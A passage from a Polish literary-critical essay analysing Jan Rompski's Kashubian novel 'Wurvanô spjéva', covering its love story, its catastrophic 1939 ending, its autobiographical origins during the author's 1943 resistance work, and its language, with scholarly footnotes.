Stworzony przez J. Rompskiego scena, jest pierwszym w prozie kaszubskiej takim opisem połączenia się kobiety i mężczyzny w akcie płciowym. Przywołuje na myśl modernizm i twórców tej epoki, którzy często wykorzystywali motyw kobiety pięknej, kuszącej ledwie osłoniętym ciałem, muzy pisarzy i artystów, będącej jednocześnie źródłem udręki. Przed tą szaloną miłością, która przysłania Mirchovovi postawione przed nim cele i świat cały, przestrzega go Chmiel. Gdy zakochany Mirchov wątpi w sens ich wspólnej pracy odrodzeniowej, Chmiel mówi: Ta tvoja Ir vzała z moce jak stolem prom tvoji sviąde tak, że sa nim stała vnet. Prażisz abo vici miełote jak ce może dac. I temu jes na drodze pusti, zvątpienio i nievortnote… Prosi przyjaciela, by otrząsnął się z chorego uczucia, które jest tylko pożądaniem wycieńczającym Mirchova psychicznie. Prawdziwa miłość, zdaniem Chmiela, jest jak rzéka, plevie róvnomëslno, chto vortni, łakota i ulżenié pije. Mirchov dojrzeje do myśli Chmiela, gdy przeżyje wstrząs, jakim będzie wiadomość o ślubie i sam ślub Ir z Vitosłavem Danjelevskjim. Zrozumie wtedy, że tamto spotkanie z Ir, było jej pożegnaniem.

Prawdziwą miłość, tę o której równowadze słyszał od Chmiela, Mirchov odnajdzie na Wyspie Łabędziej, która okala Jezioro Klasztorne w Kartuzach. W dość nieoczekiwanych okolicznościach, zaraz po tym, jak otrząsnął się z szaleńczego uczucia do Ir, podczas letniej burzy, z odmętów wzburzonej wody uratuje Mirosłavę. Zaopiekuje się nią, a ona otoczy opieką jego. Nie przez przypadek autor powieści obdarzy tę postać nazwiskiem Łada. Wszak tak nazywa się słowiańska bogini miłości, piękna, sztuki i umiejętności. Ładzi i łączy we wzajemnej miłości, a także potrafi zrozumieć i współdzielić misję Mirchova. Tych dwoje miało być na zawsze razem. Los nie był jednak dla nich łaskawy. Rozdzielił ich niedługo po tym, jak Mirosłava, Mirchov i Chmjel opuścili nocą Wejherowo, tuż przed wkroczeniem tam Niemców. Mirchov, który pod koniec października 1939 r. powraca z niemieckiej niewoli, do której trafił jako obrońca Kępy Oksywskiej, nie ma o Mirosławie żadnej wiadomości. Z myślą o niej, wycieńczony wojną, umiera w lesie opodal swej wejherowskiej samotni zburzonej podczas wrześniowych bombardowań.

Przy takim zakończeniu powieści, gdy najpierw, w obliczu wrześniowego triumfu niemieckiego najeźdźcy, umiera inteligencka idea kulturowego odrodzenia narodu kaszubskiego, a chwilę potem życie traci jeden z jej głównych nosicieli, tytuł powieści Wurvanô spjéva wydaje się podkreślać katastroficzny wydźwięk dzieła Jana Rompskiego. Tytułową pieśń rozumieć można oczywiście bardzo różnie. Czytając utwór skojarzy się nam z językiem kaszubskim, z poezją i śpiewem ludu, z przekazem o historycznych dziejach Kaszubów, mityczną opowieścią o nich, jako o spadkobiercach słowiańskich plemion Pomorza, czy wreszcie z ideą nowego człowieka i społeczeństwa, o której często rozmyślał Mirchov. Można ją także widzieć w związku z miłosnymi nutami grającymi w duszy bohatera powieści, które długo nie mogą złożyć się w odpowiednie akordy i wybrzmieć uczuciem niezmąconym żadnym fałszem, a gdy jego wewnętrzny śpiew wreszcie stanie się czysty, przychodzi śmierć będąca końcem wszystkiego. Słowo urwać (urwana) daje jednak jakąś nadzieję, że pieśń znajdzie swoich kontynuatorów. Wszak jego znaczenia nie niosą za sobą czynnika wpływającego w sposób ostateczny na coś, co podlega tej czynności: oddzielić coś od czegoś, oderwać, zmniejszyć o jakąś część, przestać mówić… Tak, jakby to było jednak odwracalne. Nie wiemy co stało się z Ładą. Co z dzieckiem uratowanym przez gryfa na malowidle Mirchova? Przecież w chwili pierwszego bombardowania, w tamten wrześniowy poranek, Mirosłava słyszy od Mirchova, że jest niczym Reknjica, graniczna rzeka wielkiego niegdyś narodu, która zaniesie jego ból na ołtarz nowej Arkony, by tam jej łono zapłodnione zostało i powstał mstevoj z popjołov Svantevita.

Wurvanô Spjéva to powieść autobiograficzna, przy czym ważne jest tu przeniesienie punktu ciężkości z „bios na autos” z życia na tożsamość, jak podpowiada James Olney, autor zbioru esejów o autobiografii.4 Nasuwa się pytanie, dlaczego Jan Rompski, mając zaledwie 30 lat, poczuł chęć opowiedzenia o sobie, swoim otoczeniu, o idei którą żył i dla której działał? Pisarz miał powody sądzić, że tworzy ostatnią rzecz, która wyjdzie spod jego pióra. Rok 1943, w którym powieść powstała, a przynajmniej jej zasadnicza część, to specyficzny okres w życiu J. Rompksiego, gdyż czynnie zaangażowany był wówczas w antyhitlerowski ruch oporu, sprawując funkcję zastępcy komendanta okręgu wejherowskiego Tajnej Organizacji Wojskowej Gryf Pomorski, jednocześnie będąc też zaangażowany w strukturach Armii Krajowej. Należy również pamiętać, że w lutym 1943 był aresztowany przez gestapo i z braku dowodów na działalność przeciwko III Rzeszy wypuszczony na wolność, którą cieszył się przez rok, do lutego 1944 r. Wówczas, po ponownym aresztowaniu przez policję polityczną, trafił do obozu koncentracyjnego Stutthof. Wszystko wskazuje więc na to, że J. Rompski na napisanie zasadniczej części jedynej powieści w życiu miał zaledwie kilka miesięcy i to w czasie, gdy był pod ogromną presją hitlerowskiego aparatu bezpieczeństwa. Nie mogło to oczywiście pozostać bez wpływu na tragiczną wymowę utworu i zawarte w nim wątki katastroficzne.

Jak każdy pisarz, tak i Jan Rompski miał nadzieję, że jego powieść będzie kiedyś czytana przez tych, do których chciał dotrzeć. W tym przypadku bardziej nawet do ogółu Kaszubów, niż do warstwy inteligenckiej. Może dlatego, język jakim powieść została napisana jest zrozumiałym dla przeciętnej osoby posługującej się kaszubskim. Jedynie w kilku miejscach, gdy rozmawiają ze sobą inicjatorzy Zjazdu inteligencji kaszubskiej, ten język staje się trudniejszy, bardziej zbliżony do języka „Zrzeszë Kaszëbsczi”. Jej redaktorzy nie kryli, że zależy im na stworzeniu języka literackiego, w którym odrzucali polonizmy i germanizmy, chętnie sięgając do słów zapomnianych, nadając im nowe znaczenia, tworząc neologizmy lub czerpiąc słownictwo z innych języków słowiańskich. J. Rompski należał w gronie tym do tych, którzy uważali, że przede wszystkim język jidze z chëczë. Innym zabiegiem, który w zamyśle twórcy – poza oczywistym nawiązaniem do literatury kaszubskiej – mógł posłużyć do zbliżenia z czytelnikiem, jest przemieszanie treści mitycznych, baśniowych i ludowych wierzeń. Szczególnie widoczne jest uwypuklenie roli przyrody, także w życiu głównego bohatera, gdy ten przeżywa wewnętrzne boje związane z własną psychoewolucją. Wreszcie świat swojej powieści pisarz uczynił światem binarnym, ujmując go w kategoriach zła i dobra, śmierci i życia, czym wpisuje się w ludową wizję świata i człowieka. Nasuwa się pytanie, jak wyglądałaby kaszubska epika w XX i XXI wiekach, gdyby wydano w latach 40. lub 50. dwudziestego stulecia opisywaną powieść Jana Rompskiego? Nie wykluczone, że przyśpieszyło by to rozwój rodzimej prozy, która przez cały XX wiek pozostawała w cieniu poezji i dramatu.

1 J. Rompski, Wurvanô Spjeva, rkps, masz., k. 126, sygnatura 3, Katalog rękopisów Muzeum Piśmiennictwa i Muzyki Kaszubsko-Pomorskiej w Wejherowie; Zob. też: Katalog rękopisów Muzeum Piśmiennictwa i Muzyki Kaszubsko-Pomorskiej w Wejherowie, tom I, Spuścizna Jana Rompskiego, Wejherowo 2005, s. 24

2 Zob. A. Skwarło, Życie i twórczość Jana Rompskiego…, s. 129; D. Kalinowski, Polityczne gry (wobec) Jana Rompskiego, tekst wygłoszony w grudniu 2015 r. na konferencji Literatura kaszubska a polityka. Wstępne rozpoznania, w MPiMKP w Wejherowie, nagranie w moim posiadaniu.

3 Zob. A. Majkowski, Historia Kaszubów, s. 12

4 Cytuję za: J. V. Gunn, Sytuacja autobiograficzna, [w.:] Autobiografia, red. Małgorzata Czermińska, Gdańsk 2009, s. 145.